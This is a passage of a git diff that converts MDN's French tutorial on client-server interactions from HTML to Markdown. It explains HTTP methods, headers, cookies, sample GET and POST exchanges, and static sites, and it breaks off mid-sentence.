-<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> +{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/Introduction">Introduction à Express/Node</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/development_environment">Configuration d'un environnement de développement Node (Express)</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutoriel Express : La bibliothèque locale du site Web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Tutoriel Express, partie 2 : Création d'un squelette de site Web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/mongoose">Tutoriel Express, partie 3 : Utilisation d'une base de données (avec Mongoose)</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/routes">Tutoriel Express, partie 4 : Routes et contrôleurs</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Tutoriel Express, partie 5 : Affichage des données de la bibliothèque</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/forms">Tutoriel Express, partie 6 : Travailler avec des formulaires</a></li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs/deployment">Tutoriel Express, Partie 7 : Déploiement en production</a></li> -</ul> +- [Introduction à Express/Node](/fr/docs/Learn/Server-side/Express_Nodejs/Introduction) +- [Configuration d'un environnement de développement Node (Express)](/fr/docs/Learn/Server-side/Express_Nodejs/development_environment) +- [Tutoriel Express : La bibliothèque locale du site Web](/fr/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website) +- [Tutoriel Express, partie 2 : Création d'un squelette de site Web](/fr/docs/Learn/Server-side/Express_Nodejs/skeleton_website) +- [Tutoriel Express, partie 3 : Utilisation d'une base de données (avec Mongoose)](/fr/docs/Learn/Server-side/Express_Nodejs/mongoose) +- [Tutoriel Express, partie 4 : Routes et contrôleurs](/fr/docs/Learn/Server-side/Express_Nodejs/routes) +- [Tutoriel Express, partie 5 : Affichage des données de la bibliothèque](/fr/docs/Learn/Server-side/Express_Nodejs/Displaying_data) +- [Tutoriel Express, partie 6 : Travailler avec des formulaires](/fr/docs/Learn/Server-side/Express_Nodejs/forms) +- [Tutoriel Express, Partie 7 : Déploiement en production](/fr/docs/Learn/Server-side/Express_Nodejs/deployment) diff --git a/files/fr/learn/server-side/first_steps/client-server_overview/index.md b/files/fr/learn/server-side/first_steps/client-server_overview/index.md index 9323086beb..0c85bdbd06 100644 --- a/files/fr/learn/server-side/first_steps/client-server_overview/index.md +++ b/files/fr/learn/server-side/first_steps/client-server_overview/index.md @@ -4,126 +4,117 @@ slug: Learn/Server-side/First_steps/Client-Server_overview translation_of: Learn/Server-side/First_steps/Client-Server_overview original_slug: Learn/Server-side/Premiers_pas/Client-Serveur --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}} -<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> - -<p>Maintenant que vous connaissez le but et le bénéfice de la programmation côté serveur, nous allons analyser en détails ce qui se passe quand un serveur reçoit une requête dynamique de la part d'un navigateur. Comme la plupart des sites gèrent le code côté serveur (requêtes et réponses) de la même manière, cela vous aidera à comprendre ce que vous devrez faire ensuite en écrivant votre propre code.</p> +Maintenant que vous connaissez le but et le bénéfice de la programmation côté serveur, nous allons analyser en détails ce qui se passe quand un serveur reçoit une requête dynamique de la part d'un navigateur. Comme la plupart des sites gèrent le code côté serveur (requêtes et réponses) de la même manière, cela vous aidera à comprendre ce que vous devrez faire ensuite en écrivant votre propre code. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Compréhension basique des notions informatiques et de ce qu'est un serveur web.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre les interactions client-serveur sur un site dynamique et particulièrement quelles opérations devront être effectuées par le code côté serveur.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Compréhension basique des notions informatiques et de ce qu'est un + serveur web. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre les interactions client-serveur sur un site dynamique et + particulièrement quelles opérations devront être effectuées par le code + côté serveur. + </td> + </tr> + </tbody> </table> -<p>Il n'y a pas de code "réel" dans la suite de cette présentation parce que nous n'avons pas encore choisi un framework web à utiliser pour écrire notre code ! Ce tutoriel est quand même trés pertinent car les comportements décrits doivent être implémentés par votre code côté serveur, sans qu'il ait à se soucier (le serveur...) de quel langage de programmation ou framework vous vous servez.</p> +Il n'y a pas de code "réel" dans la suite de cette présentation parce que nous n'avons pas encore choisi un framework web à utiliser pour écrire notre code ! Ce tutoriel est quand même trés pertinent car les comportements décrits doivent être implémentés par votre code côté serveur, sans qu'il ait à se soucier (le serveur...) de quel langage de programmation ou framework vous vous servez. -<h2 id="Serveurs_Web_et_HTTP_un_avant-goût">Serveurs Web et HTTP (un avant-goût)</h2> +## Serveurs Web et HTTP (un avant-goût) -<p>Les navigateurs web communiquent avec les serveurs web avec le protocole <a href="/fr/docs/Web/HTTP">HTTP</a><strong> : H</strong>yper<strong>T</strong>ext<strong>T</strong>ransfer <strong>P</strong>rotocol. Quand vous cliquez un lien sur une page, soumettez un formulaire ou lancez une recherche, le navigateur envoie une requête HTTP (<em>HTTP Request) </em>au serveur.</p> +Les navigateurs web communiquent avec les serveurs web avec le protocole [HTTP](/fr/docs/Web/HTTP) **: H**yper**T**ext**T**ransfer **P**rotocol. Quand vous cliquez un lien sur une page, soumettez un formulaire ou lancez une recherche, le navigateur envoie une requête HTTP (_HTTP Request)_ au serveur. -<p>Cette requête inclut :</p> +Cette requête inclut : -<ul> - <li>Une URL identifiant la cible et la ressource (un fichier HTML, un point particulier de données sur le serveur ou un outil à lancer).</li> - <li>Une méthode qui définit l'action requise ( par exemple récupérer un fichier ou sauvegarder certaines données ou mises à jour). Les différentes méthodes/verbes et les actions associées sont listées ci-dessous : - <ul> - <li><code>GET</code>: Récupérer une ressource spécifique, par exemple un fichier html contenant des informations sur un produit ou une liste de produits.</li> - <li><code>POST</code>: Crée une ressource comme un nouvel article dans un wiki, ajouter un contact dans une base de données, enregistrer les données d'un formulaire d'inscription...</li> - <li> - <p><code>HEAD</code>: Récupérer les informations "metadata" d'une ressource spécifique sans le "body" comme ferait GET. Vous pouvez utiliser une requête HEAD pour, par exemple, la date de dernière mise à jour d'une ressource puis, utiliser GET (plus "coûteuse") seulement si la ressource a été changée.</p> - </li> - <li><code>PUT</code>: Met à jour une ressource existante ou en crée une si elle n'existe pas.</li> - <li><code>DELETE</code>: Supprime la ressource spécifiée.</li> - <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: ces verbes sont utilisés pour des tâches moins communes ou plus avancées nous ne les couvrirons donc pas ici.</li> - </ul> - </li> - <li>Des informations complémentaires peuvent être encodées avec la requête (des données de formulaire HTML par exemple). Ces informations peuvent être encodées comme : - <ul> - <li>Paramètres URL : les requêtes <code>GET</code> encodent les données dans l'URL envoyée au serveur en ajoutant des paires nom/valeur en fin de celle-ci. Exemple : <code>http://mysite.com<strong>?name=Fred&age=11</strong></code>. Il y a toujours un point d'interrogation (<code>?</code>) séparant le début de l'URL des paramètres passés. Ainsi qu'un signe égal (<code>=</code>) séparant le nom de la valeur associée et une esperluette (<code>&</code>) séparant chaque paire. Les paramètres URL ne sont pas sécurisés car ils peuvent être changés et soumis une deuxième fois par l'utilisateur. Pour cette raison, les requêtes URL paramètres/<code>GET</code> requests ne sont pas utilisées pour des requêtes mettant à jour des données sur un serveur.</li> - </ul> - </li> - <li><code>POST</code> data. Les requêtes <code>POST</code> ajoutent de nouvelles ressources dont les données sont encodées dans le corps de la requête.</li> - <li>Cookies côté Client. Contient les données de session du client, incluant les clés dont peut se servir le serveur pour déterminer le statut de login et les accés/permissions aux ressources.</li> -</ul> +- Une URL identifiant la cible et la ressource (un fichier HTML, un point particulier de données sur le serveur ou un outil à lancer). +- Une méthode qui définit l'action requise ( par exemple récupérer un fichier ou sauvegarder certaines données ou mises à jour). Les différentes méthodes/verbes et les actions associées sont listées ci-dessous : -<p>Les serveurs Web attendent une requête du client puis la traitent quand elle arrive. Il répond ensuite au navigateur avec un message HTTP Response. La réponse contient un statut <a href="/fr/docs/Web/HTTP/Status">HTTP Response </a>indiquant si, oui ou non, la requête a abouti. (ex : "<code>200 OK</code>" pour un succés, "<code>404 Not Found</code>" si la ressource ne peut être trouvée, "<code>403 Forbidden</code>" si l'utilisateur n'est pas autorisé à voir la ressource etc. Le corps d'une réponse aboutie à une requête <code>GET</code> contiendrait la ressource demandée.</p> + - `GET`: Récupérer une ressource spécifique, par exemple un fichier html contenant des informations sur un produit ou une liste de produits. + - `POST`: Crée une ressource comme un nouvel article dans un wiki, ajouter un contact dans une base de données, enregistrer les données d'un formulaire d'inscription... + - `HEAD`: Récupérer les informations "metadata" d'une ressource spécifique sans le "body" comme ferait GET. Vous pouvez utiliser une requête HEAD pour, par exemple, la date de dernière mise à jour d'une ressource puis, utiliser GET (plus "coûteuse") seulement si la ressource a été changée. + - `PUT`: Met à jour une ressource existante ou en crée une si elle n'existe pas. + - `DELETE`: Supprime la ressource spécifiée. + - `TRACE`, `OPTIONS`, `CONNECT`, `PATCH`: ces verbes sont utilisés pour des tâches moins communes ou plus avancées nous ne les couvrirons donc pas ici. -<p>Quand une page HTML est retournée, elle est affichée par le navigateur. Le navigateur, nativement, pourra découvrir des liens vers d'autres ressources (ex : une page HTML intégre habituellement des pages JavaScript et CSS ), et enverra des requêtes séparées pour télécharger ces fichiers.</p> +- Des informations complémentaires peuvent être encodées avec la requête (des données de formulaire HTML par exemple). Ces informations peuvent être encodées comme : -<p>Les sites web dynamiques ou statiques (voir sections suivantes) utilisent les mêmes protocoles/modèles de communication.</p> + - Paramètres URL : les requêtes `GET` encodent les données dans l'URL envoyée au serveur en ajoutant des paires nom/valeur en fin de celle-ci. Exemple : `http://mysite.com?name=Fred&age=11`. Il y a toujours un point d'interrogation (`?`) séparant le début de l'URL des paramètres passés. Ainsi qu'un signe égal (`=`) séparant le nom de la valeur associée et une esperluette (`&`) séparant chaque paire. Les paramètres URL ne sont pas sécurisés car ils peuvent être changés et soumis une deuxième fois par l'utilisateur. Pour cette raison, les requêtes URL paramètres/`GET` requests ne sont pas utilisées pour des requêtes mettant à jour des données sur un serveur. -<h3 id="Exemple_de_requêteréponse_GET">Exemple de requête/réponse GET </h3> +- `POST` data. Les requêtes `POST` ajoutent de nouvelles ressources dont les données sont encodées dans le corps de la requête. +- Cookies côté Client. Contient les données de session du client, incluant les clés dont peut se servir le serveur pour déterminer le statut de login et les accés/permissions aux ressources. -<p>Vous faites une simple requête <code>GET</code> en cliquant sur un lien ou en faisant une recherche sur un site (sur une page de moteur de recherche par exemple). Une requête HTTP envoyée lorsque vous effectuez une recherche sur MDN pour les termes : "La relation Client-Serveur" ressemblera beaucoup à ce qui suit mais ne sera pas identique car des parties du message dépendent des paramètres de votre navigateur.</p> +Les serveurs Web attendent une requête du client puis la traitent quand elle arrive. Il répond ensuite au navigateur avec un message HTTP Response. La réponse contient un statut [HTTP Response ](/fr/docs/Web/HTTP/Status)indiquant si, oui ou non, la requête a abouti. (ex : "`200 OK`" pour un succés, "`404 Not Found`" si la ressource ne peut être trouvée, "`403 Forbidden`" si l'utilisateur n'est pas autorisé à voir la ressource etc. Le corps d'une réponse aboutie à une requête `GET` contiendrait la ressource demandée. -<div class="note"> -<p><strong>Note :</strong> Le format des messsages HTTP est défini par un standard web (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>). Vous n'avez pas besoin de connaître ce niveau de détails mais vous saurez au moins d'où vient tout ça !</p> -</div> +Quand une page HTML est retournée, elle est affichée par le navigateur. Le navigateur, nativement, pourra découvrir des liens vers d'autres ressources (ex : une page HTML intégre habituellement des pages JavaScript et CSS ), et enverra des requêtes séparées pour télécharger ces fichiers. -<h4 id="La_requête">La requête</h4> +Les sites web dynamiques ou statiques (voir sections suivantes) utilisent les mêmes protocoles/modèles de communication. -<p>Chaque ligne de la requête contient des informations sur celle-ci. La première partie est appelée l'en-tête ( <strong>header</strong>) et contient beaucoup de données utiles. De la même manière qu'un <a href="/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a> contient des informations utiles (pas le contenu réel qui lui, se trouve dans le corps (body) :</p> +### Exemple de requête/réponse GET -<pre>GET https://developer.mozilla.org/en-US/search?q=la+relation+Client+-+serveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 -Host: developer.mozilla.org -Connection: keep-alive -Pragma: no-cache -Cache-Control: no-cache -Upgrade-Insecure-Requests: 1 -User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 -Referer: https://developer.mozilla.org/en-US/ -Accept-Encoding: gzip, deflate, sdch, br -<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code> -Accept-Language: en-US,en;q=0.8,es;q=0.6 -Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true -</pre> +Vous faites une simple requête `GET` en cliquant sur un lien ou en faisant une recherche sur un site (sur une page de moteur de recherche par exemple). Une requête HTTP envoyée lorsque vous effectuez une recherche sur MDN pour les termes : "La relation Client-Serveur" ressemblera beaucoup à ce qui suit mais ne sera pas identique car des parties du message dépendent des paramètres de votre navigateur. + +> **Note :** Le format des messsages HTTP est défini par un standard web ([RFC7230](http://www.rfc-editor.org/rfc/rfc7230.txt)). Vous n'avez pas besoin de connaître ce niveau de détails mais vous saurez au moins d'où vient tout ça ! + +#### La requête + +Chaque ligne de la requête contient des informations sur celle-ci. La première partie est appelée l'en-tête ( **header**) et contient beaucoup de données utiles. De la même manière qu'un [HTML head](/fr/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) contient des informations utiles (pas le contenu réel qui lui, se trouve dans le corps (body) : -<p>Les premières et secondes lignes contiennent la plupart des données déjà évoquées précédemment :</p> + GET https://developer.mozilla.org/en-US/search?q=la+relation+Client+-+serveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 + Host: developer.mozilla.org + Connection: keep-alive + Pragma: no-cache + Cache-Control: no-cache + Upgrade-Insecure-Requests: 1 + User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Referer: https://developer.mozilla.org/en-US/ + Accept-Encoding: gzip, deflate, sdch, br + Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7 + Accept-Language: en-US,en;q=0.8,es;q=0.6 + Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true -<ul> - <li>Le type de la requête (<code>GET</code>).</li> - <li>La cible de la ressource URL (<code>/en-US/search</code>).</li> - <li>Les paramètres URL (<code>q=La%2relation%2Client%2-%2Bserveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev</code>).</li> - <li>Le site web cible/hôte (developer.mozilla.org).</li> - <li>La fin de la première ligne inclut aussi une petite chaîne identifiant la version spécifique du protocole (<code>HTTP/1.1</code>).</li> -</ul> +Les premières et secondes lignes contiennent la plupart des données déjà évoquées précédemment : -<p>La dernière ligne contient des données sur les cookies côté client — vous observerez que dans ce cas, le cookie a une id pour gérer la session : (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p> +- Le type de la requête (`GET`). +- La cible de la ressource URL (`/en-US/search`). +- Les paramètres URL (`q=La%2relation%2Client%2-%2Bserveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev`). +- Le site web cible/hôte (developer.mozilla.org). +- La fin de la première ligne inclut aussi une petite chaîne identifiant la version spécifique du protocole (`HTTP/1.1`). -<p>Les lignes restantes concernent le navigateur utilisé et les sortes de réponses qu'il peut accepter. Par exemple, vous pouvez voir ceci :</p> +La dernière ligne contient des données sur les cookies côté client — vous observerez que dans ce cas, le cookie a une id pour gérer la session : (`Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...`). -<ul> - <li>Mon navigateur (<code>User-Agent</code>) est Mozilla Firefox (<code>Mozilla/5.0</code>).</li> - <li>Il accepte les données compressées (<code>Accept-Encoding: gzip</code>).</li> - <li>Il accepte les familles de caractères suivantes : (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) et pour les langages : (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li> - <li>La ligne <code>Referer</code> indique l'adresse de la page web qui contenait le lien vers cette ressource (Par ex. l'origine de la requête : <code>https://developer.mozilla.org/en-US/</code>).</li> -</ul> +Les lignes restantes concernent le navigateur utilisé et les sortes de réponses qu'il peut accepter. Par exemple, vous pouvez voir ceci : -<p>Les requêtes HTTP peuvent aussi avoir un corps mais dans ce cas précis, il est vide.</p> +- Mon navigateur (`User-Agent`) est Mozilla Firefox (`Mozilla/5.0`). +- Il accepte les données compressées (`Accept-Encoding: gzip`). +- Il accepte les familles de caractères suivantes : (`Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7`) et pour les langages : (`Accept-Language: de,en;q=0.7,en-us;q=0.3`). +- La ligne `Referer` indique l'adresse de la page web qui contenait le lien vers cette ressource (Par ex. l'origine de la requête : `https://developer.mozilla.org/en-US/`). -<h4 id="La_réponse">La réponse</h4> +Les requêtes HTTP peuvent aussi avoir un corps mais dans ce cas précis, il est vide. -<p>La première partie de la réponse à cette requête est détaillée ci-dessous. L'en-tête contient les données suivantes :</p> +#### La réponse -<ul> - <li>La première ligne embarque le code <code>200 OK</code>, qui nous dit que la requête a abouti.</li> - <li>Nous pouvons voir que la réponse est formatée en <code>text/html</code> (<code>Content-Type</code>).</li> - <li>On remarque qu'elle utilise l'ensemble des caractères UTF-8 (<code>Content-Type: text/html; charset=utf-8</code>).</li> - <li>L'en-tête indique aussi la taille (<code>Content-Length: 41823</code>).</li> -</ul> +La première partie de la réponse à cette requête est détaillée ci-dessous. L'en-tête contient les données suivantes : -<p>À la fin du message nous avons le contenu du corps — lequel contient le "vrai" HTML demandé par la requête.</p> +- La première ligne embarque le code `200 OK`, qui nous dit que la requête a abouti. +- Nous pouvons voir que la réponse est formatée en `text/html` (`Content-Type`). +- On remarque qu'elle utilise l'ensemble des caractères UTF-8 (`Content-Type: text/html; charset=utf-8`). +- L'en-tête indique aussi la taille (`Content-Length: 41823`). -<pre class="brush: html">HTTP/1.1 200 OK +À la fin du message nous avons le contenu du corps — lequel contient le "vrai" HTML demandé par la requête. + +```html +HTTP/1.1 200 OK Server: Apache X-Backend-Server: developer1.webapp.scl3.mozilla.com Vary: Accept,Cookie, Accept-Encoding @@ -138,26 +129,27 @@ Content-Length: 41823 -<!DOCTYPE html> -<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > -<head prefix="og: http://ogp.me/ns#"> - <meta charset="utf-8"> - <meta http-equiv="X-UA-Compatible" content="IE=Edge"> - <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> +<!DOCTYPE html> +<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > +<head prefix="og: http://ogp.me/ns#"> + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=Edge"> + <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> ... -</pre> +``` -<p>Le reste de l'en-tête de la réponse contient des informations sur la réponse elle-même (quand elle a été générée), sur le serveur et comment le navigateur doit gérer la page ( <code>X-Frame-Options: DENY</code> cette ligne dit au navigateur de ne pas autoriser cette page a être intégrée dans une {{htmlelement("iframe")}} dans un autre site).</p> +Le reste de l'en-tête de la réponse contient des informations sur la réponse elle-même (quand elle a été générée), sur le serveur et comment le navigateur doit gérer la page ( `X-Frame-Options: DENY` cette ligne dit au navigateur de ne pas autoriser cette page a être intégrée dans une {{htmlelement("iframe")}} dans un autre site). -<h3 id="Exemple_de_requêteréponse_POST">Exemple de requête/réponse POST</h3> +### Exemple de requête/réponse POST -<p>Un <code>POST</code> HTTP est effectué lorsque vous soumettez un formulaire contenant des données à sauvegarder sur le serveur.</p> +Un `POST` HTTP est effectué lorsque vous soumettez un formulaire contenant des données à sauvegarder sur le serveur. -<h4 id="La_requête_2">La requête</h4> +#### La requête -<p>Le texte ci-dessous montre une requête HTTP faite quand un utlisateur soumet un nouveaux profil sur ce site. Le format de la requête est presque le même que celui de la requête <code>GET</code> vue précédemment, bien que la première ligne identifie cette requête comme un <code>POST</code>. </p> +Le texte ci-dessous montre une requête HTTP faite quand un utlisateur soumet un nouveaux profil sur ce site. Le format de la requête est presque le même que celui de la requête `GET` vue précédemment, bien que la première ligne identifie cette requête comme un `POST`. -<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 +```html +POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 Host: developer.mozilla.org Connection: keep-alive Content-Length: 432 @@ -173,15 +165,17 @@ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.8,es;q=0.6 Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true -csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=</pre> +csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url= +``` -<p>La principale différence est que l'URL ne comporte pas de paramètres. Comme vous voyez, l'information du formulaire est encodée dans le corps de la requête (par exemple : le nom complet du nouvel utilisateur est paramétré avec <code>&user-fullname=Hamish+Willee</code>).</p> +La principale différence est que l'URL ne comporte pas de paramètres. Comme vous voyez, l'information du formulaire est encodée dans le corps de la requête (par exemple : le nom complet du nouvel utilisateur est paramétré avec `&user-fullname=Hamish+Willee`). -<h4 id="La_réponse_2">La réponse</h4> +#### La réponse -<p>La réponse à la requête est expliquée dessous. Le statut "<code>302 Found</code>" dit au navigateur que le post a abouti et qu'il peut délivrer une deuxième requête HTTP pour charger la page spécifiée dans le champ <code>Location</code>. L'information est donc en cela similaire à une réponse de requête <code>GET</code>.</p> +La réponse à la requête est expliquée dessous. Le statut "`302 Found`" dit au navigateur que le post a abouti et qu'il peut délivrer une deuxième requête HTTP pour charger la page spécifiée dans le champ `Location`. L'information est donc en cela similaire à une réponse de requête `GET`. -<pre class="brush: html">HTTP/1.1 302 FOUND +```html +HTTP/1.1 302 FOUND Server: Apache X-Backend-Server: developer3.webapp.scl3.mozilla.com Vary: Cookie @@ -194,73 +188,68 @@ Connection: Keep-Alive X-Frame-Options: DENY X-Cache-Info: not cacheable; request wasn't a GET or HEAD Content-Length: 0 -</pre> +``` -<div class="note"> -<p><strong>Note :</strong> Les requêtes et réponses montrées dans ces exemples ont été capturées avec l'application <a href="https://www.telerik.com/download/fiddler">Fiddler</a> , mais vous pouvez avoir des informations similaires en utilisant des "renifleurs" web (e.g. <a href="http://websniffer.cc/">Websniffer</a>, <a href="https://www.wireshark.org/">Wireshark</a>) ou des extensions de navigateur comme <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>. Vous pouvez essayer seul. Utilisez tous les outils recommandés, naviguez sur des sites et éditez des profils de données pour explorer les différentes requêtes et réponses. La plupart des navigateurs modernes ont aussi des outils qui gérent les requêtes réseau, par exemple le <a href="/fr/docs/Tools/Network_Monitor">Network Monitor</a> dans Firefox).</p> -</div> +> **Note :** Les requêtes et réponses montrées dans ces exemples ont été capturées avec l'application [Fiddler](https://www.telerik.com/download/fiddler) , mais vous pouvez avoir des informations similaires en utilisant des "renifleurs" web (e.g. [Websniffer](http://websniffer.cc/), [Wireshark](https://www.wireshark.org/)) ou des extensions de navigateur comme [HttpFox](https://addons.mozilla.org/en-US/firefox/addon/httpfox/). Vous pouvez essayer seul. Utilisez tous les outils recommandés, naviguez sur des sites et éditez des profils de données pour explorer les différentes requêtes et réponses. La plupart des navigateurs modernes ont aussi des outils qui gérent les requêtes réseau, par exemple le [Network Monitor](/fr/docs/Tools/Network_Monitor) dans Firefox). -<h2 id="Les_sites_statiques">Les sites statiques</h2> +## Les sites statiques -<p>Un site statique renvoie le même contenu codé en dur depuis le serveur quelle que soit la ressource demandée. Si vous avez une page concernant un produit à l'adresse <code>/static/myproduct1.html</code>, cette même page sera retournée à chaque utilisateur. Si vous ajoutez un nouveau produit, vous devez ajouter une nouvelle page (par ex : <code>myproduct2.html</code>) et ainsi de suite. Cela peut être vraiment inefficace — Comment faire quand vous avez des milliers de pages "produit" à faire ? Vous allez répéter beaucoup de code identique dans chaque page (le modèle de base de la page, sa structure, etc.) et si vous voulez changer quoique ce soit dans la structure de la page — comme une section "produits dérivés" par exemple — alors, il faudra changer chaque page individuellement..</p> +Un site statique renvoie le même contenu codé en dur depuis le serveur quelle que soit la ressource demandée. Si vous avez une page concernant un produit à l'adresse `/static/myproduct1.html`, cette même page sera retournée à chaque utilisateur. Si vous ajoutez un nouveau produit, vous devez ajouter une nouvelle page (par ex : `myproduct2.html`) et ainsi de suite. Cela peut être vraiment inefficace — Comment faire quand vous avez des milliers de pages "produit" à faire ? Vous allez répéter beaucoup de code identique dans chaque page (le modèle de base de la page, sa structure, etc.) et si vous voulez changer quoique ce soit dans la structure de la page — comme une section "produits dérivés" par exemple — alors, il faudra changer chaque page individuellement.. -<div class="note"> -<p><strong>Note :</strong> Les sites statiques sont trés efficace quand vous avez un petit nombre de pages et que vous voulez envoyer le même contenu à chaque utilisateur. De toutes façons, ils peuvent avoir un coût certain de maintenance au fur et à mesure de l'augmentation du nombre de pages.</p> -</div> +> **Note :** Les sites statiques sont trés efficace quand vous avez un petit nombre de pages et que vous voulez envoyer le même contenu à chaque utilisateur. De toutes façons, ils peuvent avoir un coût certain de maintenance au fur et à mesure de l'augmentation du nombre de pages. -<p>Voyons comment tout cela marche en révisant un diagramme d'architecture de site statique vu dans l'article précédent.</p> +Voyons comment tout cela marche en révisant un diagramme d'architecture de site statique vu dans l'article précédent. -<p><img alt="A simplified diagram of a static web server." src="Basic%20Static%20App%20Server.png"></p> + -<p>Quand un utilisateur veut naviguer jusqu'à une page, le navigateur envoie une requête HTTP <code>GET</code> spécifiant l'URL de sa page HTML. Le serveur retourne le document demandé depuis son système de fichiers et retourne une réponse HTTP contenant le document et un <a href="/fr/docs/Web/HTTP/Status">HTTP Response status code</a> ( statut codé de la réponse HTTP) qui est "<code>200 OK</code>" (indiquant le succés de l'opération). Le serveur peut retourner un statut différent, par exemple "<code>404 Not Found</code>" si le fichier est absent sur le serveur , ou bien "<code>301 Moved Permanently</code>" si le fichier existe mais a été déplacé vers une nouvelle localisation.</p> +Quand un utilisateur veut naviguer jusqu'à une page, le navigateur envoie une requête HTTP `GET` spécifiant l'URL de sa page HTML. Le serveur retourne le document demandé depuis son système de fichiers et retourne une réponse HTTP contenant le document et un [HTTP Response status code](/fr/docs/Web/HTTP/Status) ( statut codé de la réponse HTTP) qui est "`200 OK`" (indiquant le succés de l'opération). Le serveur peut retourner un statut différent, par exemple "`404 Not Found`" si le fichier est absent sur le serveur , ou bien "`301 Moved Permanently`" si le fichier existe mais a été déplacé vers une nouvelle localisation. -<p>Le serveur d'un site statique n'aura à faire face qu'à des requêtes GET vu qu'il ne stocke aucune donnée modifiable. Il ne change pas non plus ses réponses basées sur les données des requêtes HTTP (c'est à dire les paramètres URL ou les cookies). </p> +Le serveur d'un site statique n'aura à faire face qu'à des requêtes GET vu qu'il ne stocke aucune donnée modifiable. Il ne change pas non plus ses réponses basées sur les données des requêtes HTTP (c'est à dire les paramètres URL ou les cookies). -<p>Comprendre comment fonctionnent les sites statiques est sans aucun doute trés utile à l'apprentissage de la programmation côté serveur car les sites dynamiques gèrent les requêtes pour les fichiers statiques (CSS, JavaScript, images statiques , 